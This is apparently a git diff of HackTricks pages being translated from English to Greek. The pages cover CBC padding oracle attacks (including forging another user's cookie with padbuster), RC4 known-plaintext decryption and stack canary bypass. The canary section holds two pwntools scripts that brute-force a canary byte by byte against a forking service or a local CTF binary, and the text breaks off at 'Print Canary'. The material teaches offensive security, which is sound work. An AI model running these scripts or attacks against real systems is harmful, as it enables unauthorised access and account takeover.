Συνοψίζοντας, μπορείτε να ξεκινήσετε την αποκρυπτογράφηση των κρυπτογραφημένων δεδομένων μαντεύοντας τις σωστές τιμές που μπορούν να χρησιμοποιηθούν για να δημιουργηθούν όλα τα διάφορα paddings. Στη συνέχεια, η επίθεση με padding oracle θα αρχίσει να αποκρυπτογραφεί τα bytes από το τέλος προς την αρχή, μαντεύοντας ποια θα είναι η σωστή τιμή που δημιουργεί ένα padding του 1, 2, 3, κλπ.
|
||||
|
||||
![](<../.gitbook/assets/image (629) (1) (1).png>)
|
||||
|
||||
Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\
|
||||
In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\
|
||||
Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So:
|
||||
Φανταστείτε ότι έχετε κάποιο κρυπτογραφημένο κείμενο που καταλαμβάνει 2 blocks που αποτελούνται από τα bytes από το E0 έως το E15.\
|
||||
Για να αποκρυπτογραφήσετε το τελευταίο block (E8 έως E15), ολόκληρο το block περνά από την "αποκρυπτογράφηση του block cipher" δημιουργώντας τα ενδιάμεσα bytes I0 έως I15.\
|
||||
Τέλος, κάθε ενδιάμεσο byte γίνεται XOR με τα προηγούμενα κρυπτογραφημένα bytes (E0 έως E7). Έτσι:
|
||||
|
||||
* `C15 = D(E15) ^ E7 = I15 ^ E7`
|
||||
* `C14 = I14 ^ E6`
|
||||
|
@ -93,44 +83,42 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes (
|
|||
* `C12 = I12 ^ E4`
|
||||
* ...
|
||||
|
||||
Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7`
|
||||
Τώρα, είναι δυνατόν να τροποποιήσετε το `E7` μέχρι το `C15` να είναι `0x01`, που θα είναι επίσης ένα σωστό padding. Έτσι, σε αυτήν την περίπτωση: `\x01 = I15 ^ E'7`
|
||||
|
||||
So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7`
|
||||
Έτσι, βρίσκοντας το `E'7`, είναι δυνατόν να υπολογιστεί το `I15`: `I15 = 0x01 ^ E'7`
|
||||
|
||||
Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
Αυτό μας επιτρέπει να υπολογίσουμε το `C15`: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
|
||||
|
||||
Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`.
|
||||
Γνωρίζοντας το `C15`, τώρα είναι δυνατόν να υπολογίσουμε το `C14`, αλλά αυτή τη φορά με brute-forcing το padding `\x02\x02`.
|
||||
|
||||
This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\
|
||||
Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
|
||||
Αυτό το BF είναι εξίσου πολύπλοκο με το προηγούμενο, καθώς είναι δυνατόν να υπολογιστεί το `E''15` του οποίου η τιμή είναι 0x02: `E''7 = \x02 ^ I15`, οπότε απλά χρειάζεται να βρεθεί το `E'14` που δημιουργεί ένα `C14` ίσο με `0x02`.\
|
||||
Στη συνέχεια, εκτελούνται τα ίδια βήματα για να αποκρυπτογραφηθεί το C14: `C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`
|
||||
|
||||
**Follow this chain until you decrypt the whole encrypted text.**
|
||||
**Ακολουθήστε αυτήν την αλυσίδα μέχρι να αποκρυπτογραφήσετε ολόκληρο το κρυπτογραφημένο κείμενο.**
|
||||
|
||||
## Detection of the vulnerability
|
||||
## Ανίχνευση της ευπάθειας
|
||||
|
||||
Register and account and log in with this account .\
|
||||
If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t.
|
||||
Καταχωρήστε έναν λογαριασμό και συνδεθείτε με αυτόν τον λογαριασμό.\
|
||||
Εάν συνδεθείτε πολλές φορές και πάντα λαμβάνετε τον **ίδιο cookie**, πιθανώς υπάρχει κάτι **λάθος** στην εφαρμογή. Το cookie που επιστρέφεται θα πρέπει να είναι μοναδικό κάθε φορά που συνδέεστε. Εάν το cookie είναι **πάντα** το **ίδιο**, πιθανώς θα είναι πάντα έγκυρο και δεν θα υπάρχει τρόπος να το ακυρώσετε.
|
||||
|
||||
Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\
|
||||
But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster.
|
||||
Τώρα, εάν προσπαθήσετε να **τροποποιήσετε** το **cookie**, μπορείτε να δείτε ότι λαμβάνετε ένα **σφάλμα** από την εφαρμογή.\
|
||||
Αλλά εάν κάνετε brute-force το padding (χρησιμοποιώντας για παράδειγμα το padbuster), καταφέρνετε να λάβετε ένα άλλο έγκυρο cookie για έναν διαφορετικό χρήστη. Αυτό το σενάριο είναι πιθανόν να είναι ευπάθεια στο padbuster.
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Συμμετάσχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,23 +1,21 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function.
|
||||
Εάν μπορείτε κάπως να κρυπτογραφήσετε ένα καθαρό κείμενο χρησιμοποιώντας το RC4, μπορείτε να αποκρυπτογραφήσετε οποιοδήποτε περιεχόμενο που έχει κρυπτογραφηθεί με αυτό το RC4 (χρησιμοποιώντας τον ίδιο κωδικό πρόσβασης) απλά χρησιμοποιώντας τη λειτουργία κρυπτογράφησης.
|
||||
|
||||
If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
|
||||
Εάν μπορείτε να κρυπτογραφήσετε ένα γνωστό καθαρό κείμενο, μπορείτε επίσης να εξαγάγετε τον κωδικό πρόσβασης. Περισσότερες αναφορές μπορούν να βρεθούν στη μηχανή HTB Kryptos:
|
||||
|
||||
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
|
||||
|
||||
|
@ -29,16 +27,14 @@ If you can encrypt a known plaintext you can also extract the password. More ref
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# Emails Vulnerabilities
|
||||
# Ευπάθειες Ηλεκτρονικού Ταχυδρομείου
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -20,14 +20,14 @@ Other ways to support HackTricks:
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,114 +1,109 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
|
||||
**Εάν αντιμετωπίζετε ένα δυαδικό αρχείο που προστατεύεται από ένα canary και το PIE (Position Independent Executable), πιθανώς να χρειαστεί να βρείτε έναν τρόπο να τα παρακάμψετε.**
|
||||
|
||||
![](<../../.gitbook/assets/image (144).png>)
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
|
||||
However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
|
||||
Σημειώστε ότι το **`checksec`** μπορεί να μην ανιχνεύσει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary εάν αυτό έχει συντακτεί στατικά και δεν είναι ικανό να αναγνωρίσει τη λειτουργία.\
|
||||
Ωστόσο, μπορείτε να παρατηρήσετε χειροκίνητα αυτό εάν βρείτε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης συνάρτησης και αυτή η τιμή ελέγχεται πριν από την έξοδο.
|
||||
{% endhint %}
|
||||
|
||||
# Brute force Canary
|
||||
# Βίαιη επίθεση στον Canary
|
||||
|
||||
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.
|
||||
Ο καλύτερος τρόπος να παρακάμψετε έναν απλό canary είναι εάν το δυαδικό αρχείο είναι ένα πρόγραμμα που **δημιουργεί νέες διεργασίες κάθε φορά που καθιερώνετε μια νέα σύνδεση** μαζί του (υπηρεσία δικτύου), επειδή κάθε φορά που συνδέεστε σε αυτό **θα χρησιμοποιηθεί το ίδιο canary**.
|
||||
|
||||
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):
|
||||
Στη συνέχεια, ο καλύτερος τρόπος να παρακάμψετε τον canary είναι απλά να τον **επιτεθείτε βίαια χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε εάν το μάντεψε byte του canary ήταν σωστό ελέγχοντας εάν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει την κανονική του ροή. Σε αυτό το παράδειγμα η συνάρτηση **επιτίθεται βίαια σε ένα canary 8 Bytes (x64)** και διακρίνει ανάμεσα σε ένα σωστά μαντεμένο byte και ένα κακό byte απλά **ελέγχοντας** αν ένας **αποκριθείς** στέλνεται πίσω από τον διακομιστή (μια άλλη μέθοδος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**):
|
||||
|
||||
## Example 1
|
||||
|
||||
This example is implemented for 64bits but could be easily implemented for 32 bits.
|
||||
## Παράδειγμα 1
|
||||
|
||||
Αυτό το παράδειγμα έχει υλοποιηθεί για 64bit αλλά μπορεί εύκολα να υλοποιηθεί για 32bit.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
def connect():
|
||||
r = remote("localhost", 8788)
|
||||
r = remote("localhost", 8788)
|
||||
|
||||
def get_bf(base):
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
|
||||
canary_offset = 1176
|
||||
base = "A" * canary_offset
|
||||
print("Brute-Forcing canary")
|
||||
base_canary = get_bf(base) #Get yunk data + canary
|
||||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||||
```
|
||||
## Παράδειγμα 2
|
||||
|
||||
## Example 2
|
||||
|
||||
This is implemented for 32 bits, but this could be easily changed to 64bits.\
|
||||
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
|
||||
|
||||
Αυτό υλοποιείται για 32 bits, αλλά μπορεί να αλλάξει εύκολα σε 64 bits.\
|
||||
Επίσης, παρατηρήστε ότι για αυτό το παράδειγμα το **πρόγραμμα αναμένει πρώτα ένα byte για να υποδείξει το μέγεθος της εισόδου** και του φορτίου.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Here is the function to brute force the canary
|
||||
def breakCanary():
|
||||
known_canary = b""
|
||||
test_canary = 0x0
|
||||
len_bytes_to_read = 0x21
|
||||
|
||||
for j in range(0, 4):
|
||||
# Iterate up to 0xff times to brute force all posible values for byte
|
||||
for test_canary in range(0xff):
|
||||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||||
|
||||
# Send the current input size
|
||||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||||
known_canary = b""
|
||||
test_canary = 0x0
|
||||
len_bytes_to_read = 0x21
|
||||
|
||||
# Send this iterations canary
|
||||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||||
for j in range(0, 4):
|
||||
# Iterate up to 0xff times to brute force all posible values for byte
|
||||
for test_canary in range(0xff):
|
||||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||||
|
||||
# Scan in the output, determine if we have a correct value
|
||||
output = target.recvuntil(b"exit.")
|
||||
if b"YUM" in output:
|
||||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||||
print(" - next byte is: " + hex(test_canary))
|
||||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||||
len_bytes_to_read += 1
|
||||
break
|
||||
# Send the current input size
|
||||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||||
|
||||
# Return the canary
|
||||
return known_canary
|
||||
# Send this iterations canary
|
||||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||||
|
||||
# Scan in the output, determine if we have a correct value
|
||||
output = target.recvuntil(b"exit.")
|
||||
if b"YUM" in output:
|
||||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||||
print(" - next byte is: " + hex(test_canary))
|
||||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||||
len_bytes_to_read += 1
|
||||
break
|
||||
|
||||
# Return the canary
|
||||
return known_canary
|
||||
|
||||
# Start the target process
|
||||
target = process('./feedme')
|
||||
|
@ -118,24 +113,22 @@ target = process('./feedme')
|
|||
canary = breakCanary()
|
||||
log.info(f"The canary is: {canary}")
|
||||
```
|
||||
# Εκτύπωση Canary
|
||||
|
||||
# Print Canary
|
||||
Ένας άλλος τρόπος για να παρακάμψετε το canary είναι να το **εκτυπώσετε**.\
|
||||
